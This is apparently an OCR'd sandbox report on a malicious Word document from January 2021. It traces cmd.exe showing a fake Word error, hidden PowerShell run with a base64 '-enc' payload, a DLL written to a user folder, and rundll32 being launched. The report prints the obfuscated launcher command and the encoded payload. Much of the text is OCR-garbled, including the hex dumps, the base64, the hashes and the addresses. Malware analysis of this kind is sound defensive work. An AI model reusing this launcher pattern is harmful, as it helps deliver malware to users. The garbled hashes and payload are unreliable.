00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 FF FF FF FF

Source

Old Data New Data Completion Count Address Symbol

1379467310 1379467311 success or wait 1

1379467311 1379467312 success or wait 1

04 00 00 00 70 09 00 00 2A 00 04 00 00 00 70 09 00 00 2A 00 success or wait 1
00 0043 003A005C 0055 00004300 3A005C 0055

00 73 00 65 00 72 00 73 00 00 73 00 65 00 72 00 73 00

5C 0041 006C 00620075 5C 004100 6C 00620075

0073005C 0041007000 0073 005C 0041007000

7000 44 006100 74 00 61 00 70 00 44 00 61 00 74 00 61 00

5C 00 4C 00 6F 00 63 00 61  5C 00 4C 00 6F 00 63 00 61

00 6C 00 5C 00 54 006500 00 6C 00 5C 00 54 00 65 00

6D 00 70 00 5C 00 69 00 6D 6D 00 70 00 5C 00 69 00 6D

00 67 00 73 00 2E 00 68 00 74 00 67 00 73 00 2E 00 68 00 74

7FEE90A9ACO unknown

7FEE90A9ACO unknown

7FEE90A9ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 6D 00 04 00 00 00 69 00
B/Ri0867 00 73 00 00 00 00

00 01 00 00 00 00 00 00 00 07
2111 42 4F F3 D6 01 6C 6E

OF 00 6C 6E OF 00 00 00 00

00 DB 04 00 00 02 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 6D 00 04 00 00 00 69 00
RIRWDHAETL0 73 00 00 00 00

00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 6C 6E

OF 00 6C 6E OF 00 00 00 00

00 DB 04 00 00 02 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
QIDDAEG00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
RR@AREH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 2376 Parent PID: 1220

General

Start time: 11:20:35

Start date: 25/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit):

Commandline:

false

cmd cmd /c m”"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.
IAAgAFMAZQBUAC0AaQBUAEUAbBQAGAC
gAIgB2AEEAUgBPACIAKWAIAGEAY gBMAGUAOgAWAGKAIGArACIAOQBMACIAKW
AIAFOAYgAIACKAIAAGACAIABDAFQAWQBWAEUAXQAOACIAeWAXAHOAeWAYAH& p~owe”rs*heNIN -w hirdd”en -“e”nc

Copyright null 2021
]AOD
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BsAHgAMQBKAGMAPQA0ACJAIWBAACAAWWANACSAIWAGAHMAIWATACCAaAANAC
kAKWANACAAYgANACsAIJWABACCAKWANACBAIWATACgAIWAVAGAAIWATACCAYQ
BKAHKAIWAPACSAIWBZACCAKWAOACCAY QANACSAIWAUAGMAIWAPACSAIWBVAGA9ACgAIWBDACCAKWAOACCAOAAWACCAKWANAE4AIWAPACKAOWBMAGSBACgBIAG
EAYWBOACAAKAAKAFQAdQA1IAHQAJABOAGEAIABPAGAAIAAKAEBAeQBSAHgGAMQ
BKAGMAKQB7AHQACYB5AHSAKAAMACGAIWBOAGUAIWArACCAdWALAEBAYJBIAG
UAJWArACCAYWBOACCAKQAJAFMAeQBzAHQAZQBACAATYBIAFQALYB3AEUAQg
BDAGWAaQBIAE4AdAAPACAAIgBEAGBAdWBUAGAABABVAEEARABMAGAASQBMAG
UAIgA0ACQAVAB1ADUAJABOAHQAYQASACAAJABNAHQAbgAWADUAdgBYACKAOW
AKAEOAXWAOAEgAPQA0ACIAIWBOACCAKWANADAAMYANACKAKWANAFY AJWAPAD
SASQBMACAAKAAOACYAKAANAECAZQBOACOAIWATACCASQANACSAIWBOAGUABQ
ANACKAIAAKAEOAJABUADAANQB2AHIAKQAUACIATABFAG4AYABHAGAAVABIAC
IAIAAtAGCAZQAGADQAMQA3ADMANWAPACAAeWAMACAIWBYAHUAbgBKAGWAIW
ArACcAbAAZADIAIWAPACAAIJABNAHQAbgAWADUAdgBYACWAKAAOACCAQQBUAC
cAKWANAHKAIWAPACSAIWBTACCAKWAOACCAJABYACCAKWANAGKAbgANACKAKwW
ANAGCAIWAPACAAIgBOAGBACWBOAGAAUGBPAGAATYBNACIAKAAPADSAJABTAD
QANWBXADOAKAANAFCAMWANACSAJWBIAE4AJWAPADSAYgBYAGUAYQBIrADSAJA
BTAFSBANABFADOAKAAOACCAQJANACSAIWALIADQAIWAPACSAIWBaACCAKQBIAH
O0AYWBhAHQAYWB0AHSAfQBIACQAVQAZADUAUGAIACYAIWBDADYAIWArACCANQ

BCACCAKQA=

Imagebase: 0x4a1c0000
File size: 345088 bytes
MDS5 hash: 5746BD7E255DD6ABAFAQ06F7C42C1BA41
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

Analysis Process: msg.exe PID: 2496 Parent PID: 2376
General
Start time: 11:20:35
Start date: 25/01/2021
Path: C:\Windows\System32\msg.exe
Wow64 process (32bit): false
Commandline: msg user /v Word experienced an error trying to open the file.
Imagebase: 0xffd00000
File size: 26112 bytes
MDS5 hash: 2214979661E779C3E3C33D4F14E6F3AC
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Has elevated privileges: true

Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

Analysis Process: powershell.exe PID: 2308 Parent PID: 2376

General

Start time: 11:20:36

Start date: 25/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell -w hidden -enc IAAGAFMAZQBUACOAaQBUAEUAbQAQACQAIgB2AEEA
ACQAUWAOAGSANgBOAHIAagAIACQATgA2ADKARWAGACSAIABDAGMAaABhAHIA QBKAHKAIJWApP|IABbACCAKWANACAACWANACSAIWBOACCAKWANACAAIWAIACCAYgABACCAKWAN
AC8AIWArACgAIWAVAHCAIJWATrACcAaAANACSAIWBpAHQAZQANACKAKWANAHQA
JwWArACcAaABIACCAKWAOACCAbQANACSAIWBIACAAIWAPACSAIWBAAHKAIWAr
ACgAIWBBACBAIWArACCAdWBWACOAYWBVAGAAIWArACCAdAANACKAKWAOACCA
ZQBUAHQALWANACSAIWBXACCAKQArACCAOABIACCAKWAOACCALWAhRAHGAIWAT
ACCcAIABbACCAKWANACAACWBOACCAKQArACgAIWAGAGIAIWATACCAOgANACKA
KWAOACCALWAVAHIAIWAIACCAZQBAACCAKQArACgAIWAUAHQAY QANACSAIWBZ
ACCcAKWANAGO0AaQBYyACCAKQArACgAIwWBhACCAKWANAGCcAcgBVAHUACAAUACCA
KQArACgAJIWBjAG8AbQANACSAIWAVACCAKQArACgAIWB3ACCAKWANAHAALQAN
ACKAKWANAGKAbgANACSAKAANAGMAIWArACCAbABIAGQAJIWArACCAZQBzACBA
dQBUADYARWAVACCAKWANACEAeAAJACCAKQATrACgAIJWBbACAAIWArACcAcwBO
ACAAYgABACCAKWANACBALWANACKAKWANAHIAJWArACCAY QBIACCAKWAOACCACopyright null 2021 o Isarl\ghé43 of 53



JWBVALCARWAIIAGUALWBUOALBAJWAPALSARAATIAEKAYYATIALSAIJWAVALCARVYAD
AC4AIgByAGAAZQBWAGWAYABBAGMARQAIACJAKAAOACCAEAANACSAIWAJAFSA
JWAPACSAIWAGAHMAIWArACgAIWBOACAAIWATrACCAYgANACKAKQASACgAWWBhH
AHIAcgBhAHKAXQAO0ACCcAbgBgACCALAANAHQACgANACKALAANAHKAagANnACWA
JwBZAGMAJIWASACQAVABIrADEACQB3AHQAOQASACCAdWBKACCAKQBBADMAXQAP
AC4AIgBTAFAAYABMAGKAdAAIACGAJABSADYAOQBJIACAAKWAGACQAUWAOAGSA
NgBOAHIAagAgACSAIAAKAEMAMA4AFEAKQA7ACQAQUAWADUASWASACGAIWBD
ACCcAKWAOACCAOAAWACCAKWANAE4AIWAPACKAOWBMAGBACYBIAGEAYWBOACAA
KAAKAFQAdQALAHQAJABOAGEAIABPAGAAIAAKAEBAeQBSAHgAMQBKAGMAKQB7
AHQACgB5AHSAKAAMACGAIWBOAGUAJIWAIACCAAWALAEBAY gBgAGUAJWATrACCA gByAGUAY QBrADSAJABTAFSANABF
ADOAKAAOACCAQUANACSAIWALADQAIWAPACSAIWBaACCAKQBIAHOAYWBhAHQA
YWB0AHSAfQBIACQAVQAzADUAUGAIACIAIWBDADYAIWArACCANQBCACCAKQA=

Imagebase: 0x13f900000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7TFO2A8CBE23F
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\Lig8I58 read data or list device directory file | success or wait 1 7FEE875BECTY CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Lig8I58\Egok7ei read data or list device directory file | success or wait 1 7FEE875BECTY CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Lig8I58\Egok7ei\D640.dIl read attributes | device synchronous io  success or wait 1 7FEE875BEC7 CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
Source
Old File Path New File Path Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\Users\user\Lig8I58\Egok7ei\D640O.dll

C:\Users\user\Lig8I58\Egok7ei\D640O.dll

Copyright null 2021

Offset Length Value

unknown 4096

unknown 4096

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff

00 00 b8 00 00 00 00 .

00 00 00 40 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

00 00 00 00 00 00 00 .

Source
Ascii Completion Count Address Symbol

MZ..oooiiiiiieiens @..... success or wait 15 7FEE875BEC7 WriteFile

..L.IThis program
cannot be run in DOS
mode....

$....... PE..L...F.

00 00 00 00 000000 ...

00 00 00 00 800000 .

00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 732070
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 50 45 00 00 4c
01 09 00 89 46 Ob 60
00 00 00 00 00 00 00
00 e0 00 Oe 21 0b 01
02 32 00 40 00 00 00
12 05 00 00 00 00 00
50 19 00 00 00 10 00
00 00 50 00 00 00 00
00 10 00 10 00 00 00
02 00 00 03 00 00 00
00 00 00 00 04 00 00
00 00 00 00 00 00 dO
05 00 00 04 00 00 a7
c7 05 00 02 00 00 00
00 00 10 00 00 10 00
00 00 00 10 00 00 10
00 00 00 00 00 00 10
00 00 00 00 00 00 00
00 00 00

10 50 ff 15 c4 61 00
10 8b 0d 30 60 00 10
51 ff 15 ¢4 61 00 10
e9 6b fe ff ff e8 11 fd
ff ff c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00

P..a..0.0Q.a.k.... success or wait 40 7FEE875BEC7 WriteFile
LEXLLEFLLEXLEX.LL

E*..E*.E*..E*. E.

*LEXLEX.EX..E*X

LEXLEXLL

rEFLEALESE.
oo 2 e S e Bt S
MEL SN LN
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Lig8I58\Egok7ei\D640O.dll unknown 2392 f50b17 le9ae5d6 ........ iQ.N..)o.y..2cS...). . success or wait 1 7FEE875BEC7 WriteFile
996951c74ea69d "...."...Q...L..D.
296fe779930d32 ."*T..>lt.2.r.Z.P.v.
6353 aeccc6298a f..... LYl #W.&z. .#
20¢c160c6f2022c T.8*b....S...D..Y.Vd[..R.f.
c4f9c822dff927 .?2D..dn.."P..
82al18351c2bcc9 I=V..xg.[
821a2184b297 bc .1.~.=.Q~q.$t.,..|...vIhb.....
d4 af 44 1¢ 96 82 22 }..6UF[.v.....
95 2a 85 54 ae f1 fd
3e 49 74 74 fc 8e ae
3fa5 72 f4 c3 5a 01
aa 50 a5 8b 76 95 1b
66 eb ef da df 94 2e
d9 la eb 4c 27 7d 4c
05 f7 f8 23 5d c4 57
¢8 26 05 7a fc 81 23
5f54 09 38 2a 62 d5
aa cadf ed cf 53 ab
1f f6 44 9c¢ d5 99 59
c5 56 64 5b f7 8e 52
0f 66 fc 98 3f 44 06
13 64 6e €9 el 15 60
50 a5 bl ec cf b8 e8
c9 Ob be c5 84 7 dd
0Oa 9d da bc 29 6¢ 3d
56 ed bf 78 67 b6 5b
c85e 14 1c b9 af 84
2d 77 a2 f7 39 95 37
6f 4e 7f 1c c6 3c 04
d6 31 c5 7e ef 3d e8
517e 71 ad 24 74 1b
2c dcf9 7c aa ef c2
76 49 68 62 d5 8b 5
03 df be 7d 8e 0f 36
75 46 5b 93 76 c4 83

ee 82 be
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE85C5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE85C5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEB6EA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEE875BEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE86B69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE86B69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE875BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE875BEC7 ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2512 Parent PID: 2308
General
Start time: 11:20:40
Start date: 25/01/2021
Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

